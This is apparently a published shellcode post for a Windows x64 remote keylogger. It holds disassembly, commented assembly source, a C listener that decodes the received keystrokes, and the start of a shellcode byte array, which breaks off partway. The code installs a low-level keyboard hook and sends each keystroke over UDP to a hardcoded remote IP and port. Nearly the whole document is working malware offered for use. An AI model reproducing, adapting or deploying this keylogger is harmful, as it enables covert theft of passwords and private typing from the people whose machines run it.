/*
# Title : Windows x64 Remote Keylogger (UDP)
# size : 864 bytes
# Author : Roziul Hasan Khan Shifat
# Tested On : Windows 10 x64 pro
# Date : 26-10-2018
# Email: shifath12@gmail.com
*/
/*
keyl.obj: file format pe-x86-64
Disassembly of section .text:
0000000000000000 <_start>:
0: eb 1d jmp 1f <p1>
0000000000000002 <_init_>:
2: 48 31 d2 xor rdx,rdx
5: 65 48 8b 42 60 mov rax,QWORD PTR gs:[rdx+0x60]
a: 48 8b 40 18 mov rax,QWORD PTR [rax+0x18]
e: 48 8b 40 20 mov rax,QWORD PTR [rax+0x20]
12: 48 8b 30 mov rsi,QWORD PTR [rax]
15: 48 8b 06 mov rax,QWORD PTR [rsi]
18: 48 8b 70 20 mov rsi,QWORD PTR [rax+0x20]
1c: 5b pop rbx
1d: 53 push rbx
1e: c3 ret
000000000000001f <p1>:
1f: e8 de ff ff ff call 2 <_init_>
0000000000000024 <_p2_>:
24: 52 push rdx
25: 52 push rdx
26: 4c 8d 3c 24 lea r15,[rsp]
2a: 48 83 ec 38 sub rsp,0x38
2e: 4c 8d 24 24 lea r12,[rsp]
32: 48 83 ec 58 sub rsp,0x58
36: 48 8d 3c 24 lea rdi,[rsp]
3a: 41 57 push r15
3c: 41 54 push r12
3e: 57 push rdi
3f: 48 b8 48 45 52 45 49 movabs rax,0x5349544945524548
46: 54 49 53
49: 50 push rax
4a: 48 31 c0 xor rax,rax
4d: 66 b8 cc 01 mov ax,0x1cc
51: 48 01 c3 add rbx,rax
54: 53 push rbx
55: 48 89 f1 mov rcx,rsi
58: 48 8d 93 6e ff ff ff lea rdx,[rbx-0x92]
5f: 4d 31 c0 xor r8,r8
62: 41 b0 02 mov r8b,0x2
65: 49 89 f9 mov r9,rdi
68: ff d3 call rbx
6a: 41 5d pop r13
6c: 48 31 c0 xor rax,rax
6f: 50 push rax
70: 50 push rax
71: 48 b8 77 73 32 5f 33 movabs rax,0x642e32335f327377
78: 32 2e 64
7b: 48 89 04 24 mov QWORD PTR [rsp],rax
7f: 66 c7 44 24 08 6c 6c mov WORD PTR [rsp+0x8],0x6c6c
86: 48 8d 0c 24 lea rcx,[rsp]
8a: 48 8b 77 08 mov rsi,QWORD PTR [rdi+0x8]
8e: 48 83 ec 28 sub rsp,0x28
92: ff d6 call rsi
94: 48 96 xchg rsi,rax
96: 48 8d 4c 24 28 lea rcx,[rsp+0x28]
9b: c7 01 75 73 65 72 mov DWORD PTR [rcx],0x72657375
a1: ff d0 call rax
a3: 48 89 c1 mov rcx,rax
a6: 49 8d 55 8c lea rdx,[r13-0x74]
aa: 4d 31 c0 xor r8,r8
ad: 41 b0 06 mov r8b,0x6
b0: 4c 8d 4f 10 lea r9,[rdi+0x10]
b4: 41 ff d5 call r13
b7: 48 89 f1 mov rcx,rsi
ba: 49 8d 55 e7 lea rdx,[r13-0x19]
be: 4d 31 c0 xor r8,r8
c1: 41 b0 03 mov r8b,0x3
c4: 4c 8d 4f 40 lea r9,[rdi+0x40]
c8: 41 ff d5 call r13
cb: 48 83 c4 38 add rsp,0x38
00000000000000cf <_p3_>:
cf: 48 31 c9 xor rcx,rcx
d2: 66 b9 98 01 mov cx,0x198
d6: 48 29 cc sub rsp,rcx
d9: 48 83 c1 6a add rcx,0x6a
dd: 48 8d 14 24 lea rdx,[rsp]
e1: 48 8b 5f 40 mov rbx,QWORD PTR [rdi+0x40]
e5: ff d3 call rbx
e7: 48 31 c9 xor rcx,rcx
ea: b1 02 mov cl,0x2
ec: 51 push rcx
ed: 51 push rcx
ee: 5a pop rdx
ef: 41 58 pop r8
f1: 41 b0 11 mov r8b,0x11
f4: 48 8b 5f 48 mov rbx,QWORD PTR [rdi+0x48]
f8: ff d3 call rbx
fa: 48 89 47 08 mov QWORD PTR [rdi+0x8],rax
fe: 48 8b 1f mov rbx,QWORD PTR [rdi]
101: 48 31 c9 xor rcx,rcx
104: ff d3 call rbx
106: 41 c6 07 02 mov BYTE PTR [r15],0x2
10a: 66 41 c7 47 02 db 83 mov WORD PTR [r15+0x2],0x83db
111: 41 c7 47 04 c1 a1 c1 mov DWORD PTR [r15+0x4],0x63c1a1c1
118: 63
119: 4d 31 c9 xor r9,r9
11c: 41 51 push r9
11e: 41 51 push r9
120: 59 pop rcx
121: 5a pop rdx
122: b1 0d mov cl,0xd
124: 49 89 c0 mov r8,rax
127: b2 bc mov dl,0xbc
129: 4c 01 ea add rdx,r13
12c: 48 8b 5f 10 mov rbx,QWORD PTR [rdi+0x10]
130: ff d3 call rbx
0000000000000132 <_p4_>:
132: 49 8d 4c 24 08 lea rcx,[r12+0x8]
137: 48 31 d2 xor rdx,rdx
13a: 52 push rdx
13b: 52 push rdx
13c: 41 58 pop r8
13e: 41 59 pop r9
140: 48 8b 5f 28 mov rbx,QWORD PTR [rdi+0x28]
144: ff d3 call rbx
146: 49 8d 4c 24 08 lea rcx,[r12+0x8]
14b: 48 8b 5f 30 mov rbx,QWORD PTR [rdi+0x30]
14f: ff d3 call rbx
151: 49 8d 4c 24 08 lea rcx,[r12+0x8]
156: 48 8b 5f 38 mov rbx,QWORD PTR [rdi+0x38]
15a: ff d3 call rbx
15c: eb d4 jmp 132 <_p4_>
000000000000015e <kernel32_func>:
15e: 47 rex.RXB
15f: 65 74 4d gs je 1af <user32_func+0x33>
162: 6f outs dx,DWORD PTR ds:[rsi]
163: 64 75 6c fs jne 1d2 <user32_func+0x56>
166: 65 48 61 gs rex.W (bad)
169: 6e outs dx,BYTE PTR ds:[rsi]
16a: 64 6c fs ins BYTE PTR es:[rdi],dx
16c: 65 41 01 4c 6f 61 add DWORD PTR gs:[r15+rbp*2+0x61],ecx
172: 64 4c 69 62 72 61 72 imul r12,QWORD PTR fs:[rdx+0x72],0x41797261
179: 79 41
17b: 01 53 65 add DWORD PTR [rbx+0x65],edx
000000000000017c <user32_func>:
17c: 53 push rbx
17d: 65 74 57 gs je 1d7 <ws2_32_func>
180: 69 6e 64 6f 77 73 48 imul ebp,DWORD PTR [rsi+0x64],0x4873776f
187: 6f outs dx,DWORD PTR ds:[rsi]
188: 6f outs dx,DWORD PTR ds:[rsi]
189: 6b 45 78 41 imul eax,DWORD PTR [rbp+0x78],0x41
18d: 01 43 61 add DWORD PTR [rbx+0x61],eax
190: 6c ins BYTE PTR es:[rdi],dx
191: 6c ins BYTE PTR es:[rdi],dx
192: 4e rex.WRX
193: 65 78 74 gs js 20a <get_addr+0x1a>
196: 48 6f rex.W outs dx,DWORD PTR ds:[rsi]
198: 6f outs dx,DWORD PTR ds:[rsi]
199: 6b 45 78 01 imul eax,DWORD PTR [rbp+0x78],0x1
19d: 47 rex.RXB
19e: 65 74 4b gs je 1ec <ws2_32_func+0x15>
1a1: 65 79 53 gs jns 1f7 <get_addr+0x7>
1a4: 74 61 je 207 <get_addr+0x17>
1a6: 74 65 je 20d <get_addr+0x1d>
1a8: 01 47 65 add DWORD PTR [rdi+0x65],eax
1ab: 74 4d je 1fa <get_addr+0xa>
1ad: 65 73 73 gs jae 223 <get_addr+0x33>
1b0: 61 (bad)
1b1: 67 65 41 01 54 72 61 add DWORD PTR gs:[r10d+esi*2+0x61],edx
1b8: 6e outs dx,BYTE PTR ds:[rsi]
1b9: 73 6c jae 227 <get_addr+0x37>
1bb: 61 (bad)
1bc: 74 65 je 223 <get_addr+0x33>
1be: 4d rex.WRB
1bf: 65 73 73 gs jae 235 <get_addr+0x45>
1c2: 61 (bad)
1c3: 67 65 01 44 69 73 add DWORD PTR gs:[ecx+ebp*2+0x73],eax
1c9: 70 61 jo 22c <get_addr+0x3c>
1cb: 74 63 je 230 <get_addr+0x40>
1cd: 68 4d 65 73 73 push 0x7373654d
1d2: 61 (bad)
1d3: 67 65 41 01 57 53 add DWORD PTR gs:[r15d+0x53],edx
00000000000001d7 <ws2_32_func>:
1d7: 57 push rdi
1d8: 53 push rbx
1d9: 41 53 push r11
1db: 74 61 je 23e <get_addr+0x4e>
1dd: 72 74 jb 253 <get_addr+0x63>
1df: 75 70 jne 251 <get_addr+0x61>
1e1: 01 73 6f add DWORD PTR [rbx+0x6f],esi
1e4: 63 6b 65 movsxd ebp,DWORD PTR [rbx+0x65]
1e7: 74 01 je 1ea <ws2_32_func+0x13>
1e9: 73 65 jae 250 <get_addr+0x60>
1eb: 6e outs dx,BYTE PTR ds:[rsi]
1ec: 64 74 6f fs je 25e <get_addr+0x6e>
1ef: 01 56 57 add DWORD PTR [rsi+0x57],edx
00000000000001f0 <get_addr>:
1f0: 56 push rsi
1f1: 57 push rdi
1f2: 41 50 push r8
1f4: 52 push rdx
1f5: 41 51 push r9
1f7: 51 push rcx
1f8: 41 5b pop r11
1fa: 48 31 db xor rbx,rbx
1fd: 53 push rbx
1fe: 53 push rbx
1ff: 5a pop rdx
200: 58 pop rax
201: 8b 59 3c mov ebx,DWORD PTR [rcx+0x3c]
204: 48 01 cb add rbx,rcx
207: b2 88 mov dl,0x88
209: 8b 04 13 mov eax,DWORD PTR [rbx+rdx*1]
20c: 48 01 c8 add rax,rcx
20f: 48 31 d2 xor rdx,rdx
212: 52 push rdx
213: 52 push rdx
214: 52 push rdx
215: 41 58 pop r8
217: 41 59 pop r9
219: 41 5a pop r10
21b: 44 8b 40 20 mov r8d,DWORD PTR [rax+0x20]
21f: 4d 01 d8 add r8,r11
222: 44 8b 48 24 mov r9d,DWORD PTR [rax+0x24]
226: 4d 01 d9 add r9,r11
229: 44 8b 50 1c mov r10d,DWORD PTR [rax+0x1c]
22d: 4d 01 da add r10,r11
230: 48 31 d2 xor rdx,rdx
233: 48 31 f6 xor rsi,rsi
236: 56 push rsi
237: 59 pop rcx
238: 41 8b 34 90 mov esi,DWORD PTR [r8+rdx*4]
23c: 4c 01 de add rsi,r11
23f: 48 8b 7c 24 08 mov rdi,QWORD PTR [rsp+0x8]
244: 48 31 c0 xor rax,rax
247: 8a 04 0f mov al,BYTE PTR [rdi+rcx*1]
24a: 48 ff c1 inc rcx
24d: 3c 01 cmp al,0x1
24f: 75 f6 jne 247 <get_addr+0x57>
251: 48 ff c2 inc rdx
254: 51 push rcx
255: 48 ff c9 dec rcx
258: 48 87 f7 xchg rdi,rsi
25b: f3 a6 repz cmps BYTE PTR ds:[rsi],BYTE PTR es:[rdi]
25d: 59 pop rcx
25e: 75 d3 jne 233 <get_addr+0x43>
260: 48 ff ca dec rdx
263: 48 8b 7c 24 08 mov rdi,QWORD PTR [rsp+0x8]
268: 48 01 cf add rdi,rcx
26b: 48 89 7c 24 08 mov QWORD PTR [rsp+0x8],rdi
270: 48 31 db xor rbx,rbx
273: 53 push rbx
274: 58 pop rax
275: 66 41 8b 1c 51 mov bx,WORD PTR [r9+rdx*2]
27a: 41 8b 04 9a mov eax,DWORD PTR [r10+rbx*4]
27e: 4c 01 d8 add rax,r11
281: 48 8b 1c 24 mov rbx,QWORD PTR [rsp]
285: 48 89 03 mov QWORD PTR [rbx],rax
288: 48 83 c3 08 add rbx,0x8
28c: 48 89 1c 24 mov QWORD PTR [rsp],rbx
290: 48 8b 5c 24 10 mov rbx,QWORD PTR [rsp+0x10]
295: 48 ff cb dec rbx
298: 48 89 5c 24 10 mov QWORD PTR [rsp+0x10],rbx
29d: 48 31 d2 xor rdx,rdx
2a0: 48 39 d3 cmp rbx,rdx
2a3: 75 8e jne 233 <get_addr+0x43>
2a5: 48 83 c4 18 add rsp,0x18
2a9: 5f pop rdi
2aa: 5e pop rsi
2ab: c3 ret
00000000000002ac <_proceed_>:
2ac: 48 83 ec 58 sub rsp,0x58
2b0: 41 50 push r8
2b2: 52 push rdx
2b3: 51 push rcx
2b4: 48 31 f6 xor rsi,rsi
2b7: 48 b8 48 45 52 45 49 movabs rax,0x5349544945524548
2be: 54 49 53
00000000000002c1 <find>:
2c1: 4c 8b 14 34 mov r10,QWORD PTR [rsp+rsi*1]
2c5: 48 ff c6 inc rsi
2c8: 49 39 c2 cmp r10,rax
2cb: 75 f4 jne 2c1 <find>
2cd: 48 83 c6 07 add rsi,0x7
2d1: 48 8d 1c 34 lea rbx,[rsp+rsi*1]
2d5: 48 8b 3b mov rdi,QWORD PTR [rbx]
2d8: 4c 8b 63 08 mov r12,QWORD PTR [rbx+0x8]
2dc: 4c 8b 7b 10 mov r15,QWORD PTR [rbx+0x10]
2e0: 48 85 c9 test rcx,rcx
2e3: 75 68 jne 34d <_out_>
2e5: 48 31 db xor rbx,rbx
2e8: b3 01 mov bl,0x1
2ea: 48 c1 e3 08 shl rbx,0x8
2ee: 48 39 da cmp rdx,rbx
2f1: 75 5a jne 34d <_out_>
2f3: 48 8b 5f 20 mov rbx,QWORD PTR [rdi+0x20]
2f7: 48 31 c9 xor rcx,rcx
2fa: b1 14 mov cl,0x14
2fc: ff d3 call rbx
2fe: 66 41 89 04 24 mov WORD PTR [r12],ax
303: 48 8b 5f 20 mov rbx,QWORD PTR [rdi+0x20]
307: 48 31 c9 xor rcx,rcx
30a: b1 10 mov cl,0x10
30c: ff d3 call rbx
30e: 66 41 89 44 24 02 mov WORD PTR [r12+0x2],ax
314: 48 8b 5c 24 10 mov rbx,QWORD PTR [rsp+0x10]
319: 8b 03 mov eax,DWORD PTR [rbx]
31b: 41 89 44 24 04 mov DWORD PTR [r12+0x4],eax
320: 48 83 ec 58 sub rsp,0x58
324: 48 8b 4f 08 mov rcx,QWORD PTR [rdi+0x8]
328: 41 54 push r12
32a: 5a pop rdx
32b: 4d 31 c9 xor r9,r9
32e: 41 51 push r9
330: 41 58 pop r8
332: 41 b0 10 mov r8b,0x10
335: 4c 89 7c 24 20 mov QWORD PTR [rsp+0x20],r15
33a: 4c 89 44 24 28 mov QWORD PTR [rsp+0x28],r8
33f: 49 83 e8 08 sub r8,0x8
343: 48 8b 5f 50 mov rbx,QWORD PTR [rdi+0x50]
347: ff d3 call rbx
349: 48 83 c4 58 add rsp,0x58
000000000000034d <_out_>:
34d: 5a pop rdx
34e: 41 58 pop r8
350: 41 59 pop r9
352: 48 8b 5f 18 mov rbx,QWORD PTR [rdi+0x18]
356: 48 31 c9 xor rcx,rcx
359: ff d3 call rbx
35b: 48 83 c4 58 add rsp,0x58
35f: c3 ret
*/
/*
section .text
global _start
_start:
jmp short p1
_init_:
xor rdx,rdx
mov rax,[gs:rdx+0x60] ; getting pointer of PEB structure
mov rax,[rax+24] ;rax=PPEB->Ldr
mov rax,[rax+32] ;Ldr->InMemoryOrderModuleList
mov rsi,[rax]
mov rax,[rsi]
mov rsi,[rax+32] ;kernel32.dll base address
pop rbx ;address of _p2_
push rbx
ret; transferring execution control to _p2_
p1:
call _init_
;-----------------------------------------------------------------------------------------------------
_p2_:
push rdx
push rdx
lea r15,[rsp]
sub rsp,56
lea r12,[rsp] ; pointer important data (2 short int + 1 DWORD + 48 byte MSG structure )
sub rsp,88
lea rdi,[rsp] ; pointer to function address
push r15
push r12
push rdi
mov rax,'HEREITIS'
push rax
xor rax,rax
mov ax,get_addr-_p2_
add rbx,rax ; address of get_addr
push rbx ;reserving future use
mov rcx,rsi
lea rdx,[rbx-(get_addr-kernel32_func)]
xor r8,r8
mov r8b,2
mov r9,rdi
call rbx ;loading kernel32_func functions
;-------------------------------------------------------------------------------------
pop r13 ;address of get_addr
;loading ws2_32.dll
xor rax,rax
push rax
push rax
mov rax,'ws2_32.d'
mov [rsp],rax
mov [rsp+8],word 'll'
lea rcx,[rsp]
mov rsi,[rdi+8]
sub rsp,40
call rsi
xchg rsi,rax
;----------------------------------------------------------
;loading user32.dll
lea rcx,[rsp+40]
mov [rcx],dword 'user'
call rax
;====================================
;loading user32.dll functions
mov rcx,rax
lea rdx,[r13-(get_addr-user32_func)]
xor r8,r8
mov r8b,6
lea r9,[rdi+16] ;user32.dll functions from 16
call r13
;===================================
;loading ws2_32.dll functions
mov rcx,rsi
lea rdx,[r13-(get_addr-ws2_32_func)]
xor r8,r8
mov r8b,3
lea r9,[rdi+64] ;ws2_32.dll functions from 64
call r13
add rsp,56
;===========================================All necessary functions are loaded. Time to proceed to main task ========================================
_p3_:
xor rcx,rcx
mov cx,408
sub rsp,rcx
add rcx,106
lea rdx,[rsp]
mov rbx,[rdi+64] ;WSAStartup()
call rbx
xor rcx,rcx
mov cl,2
push rcx
push rcx
pop rdx
pop r8
mov r8b,17
mov rbx,[rdi+72] ;socket()
call rbx
mov [rdi+8],rax ;SOCKET
mov rbx,[rdi] ; GetModuleHandleA()
xor rcx,rcx
call rbx
;------------------------------------
mov [r15],byte 2
mov [r15+2],word 0x83db ;port change it
mov [r15+4],dword 0x63c1a1c1 ;IP change it
;-----------------------------------
xor r9,r9
push r9
push r9
pop rcx
pop rdx
mov cl,13
mov r8,rax
mov dl,_proceed_-get_addr
add rdx,r13
mov rbx,[rdi+16] ;SetWindowsHookExA()
call rbx
_p4_:
lea rcx,[r12+8]
xor rdx,rdx
push rdx
push rdx
pop r8
pop r9
mov rbx,[rdi+40] ;GetMessageA()
call rbx
lea rcx,[r12+8]
mov rbx,[rdi+48] ;TranslateMessage()
call rbx
lea rcx,[r12+8]
mov rbx,[rdi+56] ;DispatchMessageA()
call rbx
jmp short _p4_
;----------------------------------------------------------------------------------------
kernel32_func:
db 'GetModuleHandleA',1,'LoadLibraryA',1
user32_func:
db 'SetWindowsHookExA',1,'CallNextHookEx',1,'GetKeyState',1,'GetMessageA',1,'TranslateMessage',1,'DispatchMessageA',1
ws2_32_func:
db 'WSAStartup',1,'socket',1,'sendto',1
get_addr: ; rcx=dll base , rdx=function name string address , r8=number of functions , r9=address of buffer
db 0x56,0x57,0x41,0x50,0x52,0x41,0x51,0x51,0x41,0x5b,0x48,0x31,0xdb,0x53,0x53,0x5a,0x58,0x8b,0x59,0x3c,0x48,0x01,0xcb,0xb2,0x88,0x8b,0x04,0x13,0x48,0x01,0xc8,0x48,0x31,0xd2,0x52,0x52,0x52,0x41,0x58,0x41,0x59,0x41,0x5a,0x44,0x8b,0x40,0x20,0x4d,0x01,0xd8,0x44,0x8b,0x48,0x24,0x4d,0x01,0xd9,0x44,0x8b,0x50,0x1c,0x4d,0x01,0xda,0x48,0x31,0xd2,0x48,0x31,0xf6,0x56,0x59,0x41,0x8b,0x34,0x90,0x4c,0x01,0xde,0x48,0x8b,0x7c,0x24,0x08,0x48,0x31,0xc0,0x8a,0x04,0x0f,0x48,0xff,0xc1,0x3c,0x01,0x75,0xf6,0x48,0xff,0xc2,0x51,0x48,0xff,0xc9,0x48,0x87,0xf7,0xf3,0xa6,0x59,0x75,0xd3,0x48,0xff,0xca,0x48,0x8b,0x7c,0x24,0x08,0x48,0x01,0xcf,0x48,0x89,0x7c,0x24,0x08,0x48,0x31,0xdb,0x53,0x58,0x66,0x41,0x8b,0x1c,0x51,0x41,0x8b,0x04,0x9a,0x4c,0x01,0xd8,0x48,0x8b,0x1c,0x24,0x48,0x89,0x03,0x48,0x83,0xc3,0x08,0x48,0x89,0x1c,0x24,0x48,0x8b,0x5c,0x24,0x10,0x48,0xff,0xcb,0x48,0x89,0x5c,0x24,0x10,0x48,0x31,0xd2,0x48,0x39,0xd3,0x75,0x8e,0x48,0x83,0xc4,0x18,0x5f,0x5e,0xc3
;-------------------------------------------------------------------------------------------------------------------
_proceed_:
sub rsp,88
push r8
push rdx
push rcx
;---------------------------------------------
xor rsi,rsi
mov rax,'HEREITIS'
find:
mov r10,[rsp+rsi]
inc rsi
cmp r10,rax
jne find
add rsi,7
lea rbx,[rsp+rsi]
mov rdi,[rbx]
mov r12,[rbx+8]
mov r15,[rbx+16]
;------------------------------------------------
test rcx,rcx
jnz short _out_
xor rbx,rbx
mov bl,1
shl rbx,8
cmp rdx,rbx
jne short _out_
;--------------------------------------------------------
mov rbx,[rdi+32] ;GetKeyState(VK_CAPITAL)
xor rcx,rcx
mov cl,0x14
call rbx
mov [r12],ax
mov rbx,[rdi+32] ;GetKeyState(VK_SHIFT)
xor rcx,rcx
mov cl,0x10
call rbx
mov [r12+2],ax
;-------------------------------
;sending keystrokes
mov rbx,[rsp+16]
mov eax,[rbx]
mov [r12+4],eax ;Virtual key code
sub rsp,88
mov rcx,[rdi+8] ;SOCKET
push r12
pop rdx
xor r9,r9
push r9
pop r8
mov r8b,16
mov [rsp+32],r15
mov [rsp+40],r8
sub r8,8
mov rbx,[rdi+80]
call rbx
add rsp,88
;-----------------------------------------------------------
_out_:
pop rdx
pop r8
pop r9
mov rbx,[rdi+24]
xor rcx,rcx
call rbx
add rsp,88
ret
*/
/*
//keylogger Handler
#include<stdio.h>
#include<winsock2.h>
#include<windows.h>
#pragma pack(1)
typedef struct key
{
short caps;
short shift;
DWORD vkcode;
}KEYDATA;
char * Determine(BOOL caps,BOOL shift,DWORD code)
{
char * key;
switch (code) // SWITCH ON INT
{
case 0x41: key = caps ? (shift ? "a" : "A") : (shift ? "A" : "a"); break;
case 0x42: key = caps ? (shift ? "b" : "B") : (shift ? "B" : "b"); break;
case 0x43: key = caps ? (shift ? "c" : "C") : (shift ? "C" : "c"); break;
case 0x44: key = caps ? (shift ? "d" : "D") : (shift ? "D" : "d"); break;
case 0x45: key = caps ? (shift ? "e" : "E") : (shift ? "E" : "e"); break;
case 0x46: key = caps ? (shift ? "f" : "F") : (shift ? "F" : "f"); break;
case 0x47: key = caps ? (shift ? "g" : "G") : (shift ? "G" : "g"); break;
case 0x48: key = caps ? (shift ? "h" : "H") : (shift ? "H" : "h"); break;
case 0x49: key = caps ? (shift ? "i" : "I") : (shift ? "I" : "i"); break;
case 0x4A: key = caps ? (shift ? "j" : "J") : (shift ? "J" : "j"); break;
case 0x4B: key = caps ? (shift ? "k" : "K") : (shift ? "K" : "k"); break;
case 0x4C: key = caps ? (shift ? "l" : "L") : (shift ? "L" : "l"); break;
case 0x4D: key = caps ? (shift ? "m" : "M") : (shift ? "M" : "m"); break;
case 0x4E: key = caps ? (shift ? "n" : "N") : (shift ? "N" : "n"); break;
case 0x4F: key = caps ? (shift ? "o" : "O") : (shift ? "O" : "o"); break;
case 0x50: key = caps ? (shift ? "p" : "P") : (shift ? "P" : "p"); break;
case 0x51: key = caps ? (shift ? "q" : "Q") : (shift ? "Q" : "q"); break;
case 0x52: key = caps ? (shift ? "r" : "R") : (shift ? "R" : "r"); break;
case 0x53: key = caps ? (shift ? "s" : "S") : (shift ? "S" : "s"); break;
case 0x54: key = caps ? (shift ? "t" : "T") : (shift ? "T" : "t"); break;
case 0x55: key = caps ? (shift ? "u" : "U") : (shift ? "U" : "u"); break;
case 0x56: key = caps ? (shift ? "v" : "V") : (shift ? "V" : "v"); break;
case 0x57: key = caps ? (shift ? "w" : "W") : (shift ? "W" : "w"); break;
case 0x58: key = caps ? (shift ? "x" : "X") : (shift ? "X" : "x"); break;
case 0x59: key = caps ? (shift ? "y" : "Y") : (shift ? "Y" : "y"); break;
case 0x5A: key = caps ? (shift ? "z" : "Z") : (shift ? "Z" : "z"); break;
// Sleep Key
case VK_SLEEP: key = "[SLEEP]"; break;
// Num Keyboard
case VK_NUMPAD0: key = "0"; break;
case VK_NUMPAD1: key = "1"; break;
case VK_NUMPAD2 : key = "2"; break;
case VK_NUMPAD3: key = "3"; break;
case VK_NUMPAD4: key = "4"; break;
case VK_NUMPAD5: key = "5"; break;
case VK_NUMPAD6: key = "6"; break;
case VK_NUMPAD7: key = "7"; break;
case VK_NUMPAD8: key = "8"; break;
case VK_NUMPAD9: key = "9"; break;
case VK_MULTIPLY: key = "*"; break;
case VK_ADD: key = "+"; break;
case VK_SEPARATOR: key = "-"; break;
case VK_SUBTRACT: key = "-"; break;
case VK_DECIMAL: key = "."; break;
case VK_DIVIDE: key = "/"; break;
// Function Keys
case VK_F1: key = "[F1]"; break;
case VK_F2: key = "[F2]"; break;
case VK_F3: key = "[F3]"; break;
case VK_F4: key = "[F4]"; break;
case VK_F5: key = "[F5]"; break;
case VK_F6: key = "[F6]"; break;
case VK_F7: key = "[F7]"; break;
case VK_F8: key = "[F8]"; break;
case VK_F9: key = "[F9]"; break;
case VK_F10: key = "[F10]"; break;
case VK_F11: key = "[F11]"; break;
case VK_F12: key = "[F12]"; break;
case VK_F13: key = "[F13]"; break;
case VK_F14: key = "[F14]"; break;
case VK_F15: key = "[F15]"; break;
case VK_F16: key = "[F16]"; break;
case VK_F17: key = "[F17]"; break;
case VK_F18: key = "[F18]"; break;
case VK_F19: key = "[F19]"; break;
case VK_F20: key = "[F20]"; break;
case VK_F21: key = "[F22]"; break;
case VK_F22: key = "[F23]"; break;
case VK_F23: key = "[F24]"; break;
case VK_F24: key = "[F25]"; break;
// Keys
case VK_NUMLOCK: key = "[NUM-LOCK]"; break;
case VK_SCROLL: key = "[SCROLL-LOCK]"; break;
case VK_BACK: key = "[BACK]"; break;
case VK_TAB: key = "[TAB]"; break;
case VK_CLEAR: key = "[CLEAR]"; break;
case VK_RETURN: key = "[ENTER]"; break;
case VK_SHIFT: key = "[SHIFT]"; break;
case VK_CONTROL: key = "[CTRL]"; break;
case VK_MENU: key = "[ALT]"; break;
case VK_PAUSE: key = "[PAUSE]"; break;
case VK_CAPITAL: key = "[CAP-LOCK]"; break;
case VK_ESCAPE: key = "[ESC]"; break;
case VK_SPACE: key = "[SPACE]"; break;
case VK_PRIOR: key = "[PAGEUP]"; break;
case VK_NEXT: key = "[PAGEDOWN]"; break;
case VK_END: key = "[END]"; break;
case VK_HOME: key = "[HOME]"; break;
case VK_LEFT: key = "[LEFT]"; break;
case VK_UP: key = "[UP]"; break;
case VK_RIGHT: key = "[RIGHT]"; break;
case VK_DOWN: key = "[DOWN]"; break;
case VK_SELECT: key = "[SELECT]"; break;
case VK_PRINT: key = "[PRINT]"; break;
case VK_SNAPSHOT: key = "[PRTSCRN]"; break;
case VK_INSERT: key = "[INS]"; break;
case VK_DELETE: key = "[DEL]"; break;
case VK_HELP: key = "[HELP]"; break;
// Number Keys with shift
case 0x30: key = shift ? ")" : "0"; break;
case 0x31: key = shift ? "!" : "1"; break;
case 0x32: key = shift ? "@" : "2"; break;
case 0x33: key = shift ? "#" : "3"; break;
case 0x34: key = shift ? "$" : "4"; break;
case 0x35: key = shift ? "%" : "5"; break;
case 0x36: key = shift ? "^" : "6"; break;
case 0x37: key = shift ? "&" : "7"; break;
case 0x38: key = shift ? "*" : "8"; break;
case 0x39: key = shift ? "(" : "9"; break;
// Windows Keys
case VK_LWIN: key = "[WIN]"; break;
case VK_RWIN: key = "[WIN]"; break;
case VK_LSHIFT: key = "[SHIFT]"; break;
case VK_RSHIFT: key = "[SHIFT]"; break;
case VK_LCONTROL: key = "[CTRL]"; break;
case VK_RCONTROL: key = "[CTRL]"; break;
// OEM Keys with shift
case VK_OEM_1: key = shift ? ":" : ";"; break;
case VK_OEM_PLUS: key = shift ? "+" : "="; break;
case VK_OEM_COMMA: key = shift ? "<" : ","; break;
case VK_OEM_MINUS: key = shift ? "_" : "-"; break;
case VK_OEM_PERIOD: key = shift ? ">" : "."; break;
case VK_OEM_2: key = shift ? "?" : "/"; break;
case VK_OEM_3: key = shift ? "~" : "`"; break;
case VK_OEM_4: key = shift ? "{" : "["; break;
case VK_OEM_5: key = shift ? "|" : "\\"; break;
case VK_OEM_6: key = shift ? "}" : "]"; break;
case VK_OEM_7: key = shift ? "\"" : "'"; break; //TODO: Escape this char: "
// Action Keys
case VK_PLAY: key = "[PLAY]";break;
case VK_ZOOM: key = "[ZOOM]";break;
case VK_OEM_CLEAR: key = "[CLEAR]";break;
case VK_CANCEL: key = "[CTRL-C]";break;
default: key = "[UNK-KEY]";break;
}
return key;
}
int main()
{
int port;
SOCKET s;
struct sockaddr_in sr,cr;
WSADATA wsa;
KEYDATA keystrk;
char * n;
printf("Enter Port Number To Listen: ");
scanf("%d",&port);
if(WSAStartup(514,&wsa))
{
printf("WSAStartup() Failed");
return 0;
}
if((s=socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP))==INVALID_SOCKET)
{
printf("Failed To Create Socket...");
return 0;
}
ZeroMemory(&sr,16);
sr.sin_family=AF_INET;
sr.sin_port=htons(port);
if(bind(s,(struct sockaddr *)&sr,16))
{
printf("Failed To Bind..");
return 0;
}
port=16; //Why bother to declare a variable for int * fromlen
while(1)
{
recvfrom(s,(char *)&keystrk,8,0,(struct sockaddr *)&cr,&port);
n=Determine(keystrk.caps&0x0001,keystrk.shift>>15,keystrk.vkcode);
printf("%s",n);
}
return 0;
}
*/
#include<windows.h>
#include<stdio.h>
#include<string.h>
#include<tlhelp32.h>
char shellcode[]="\xeb\x1d\x48\x31\xd2\x65\x48\x8b\x42\x60\x48\x8b\x40\x18\x48\x8b\x40\x20\x48\x8b\x30\x48\x8b\x06\x48\x8b\x70\x20\x5b\x53\xc3\xe8\xde\xff\xff\xff\x52\x52\x4c\x8d\x3c\x24\x48\x83\xec\x38\x4c\x8d\x24\x24\x48\x83\xec\x58\x48\x8d\x3c\x24\x41\x57\x41\x54\x57\x48\xb8\x48\x45\x52\x45\x49\x54\x49\x53\x50\x48\x31\xc0\x66\xb8\xcc\x01\x48\x01\xc3\x53\x48\x89\xf1\x48\x8d\x93\x6e\xff\xff\xff\x4d\x31\xc0\x41\xb0\x02\x49\x89\xf9\xff\xd3\x41\x5d\x48\x31\xc0\x50\x50\x48\xb8\x77\x73\x32\x5f\x33\x32\x2e\x64\x48\x89\x04\x24\x66\xc7\x44\x24\x08\x6c\x6c\x48\x8d\x0c\x24\x48\x8b\x77\x08\x48\x83\xec\x28\xff\xd6\x48\x96\x48\x8d\x4c\x24\x28\xc7\x01\x75\x73\x65\x72\xff\xd0\x48\x89\xc1\x49\x8d\x55\x8c\x4d\x31\xc0\x41\xb0\x06\x4c\x8d\x4f\x10\x41\xff\xd5\x48\x89\xf1\x49\x8d\x55\xe7\x4d\x31\xc0\x41\xb0\x03\x4c\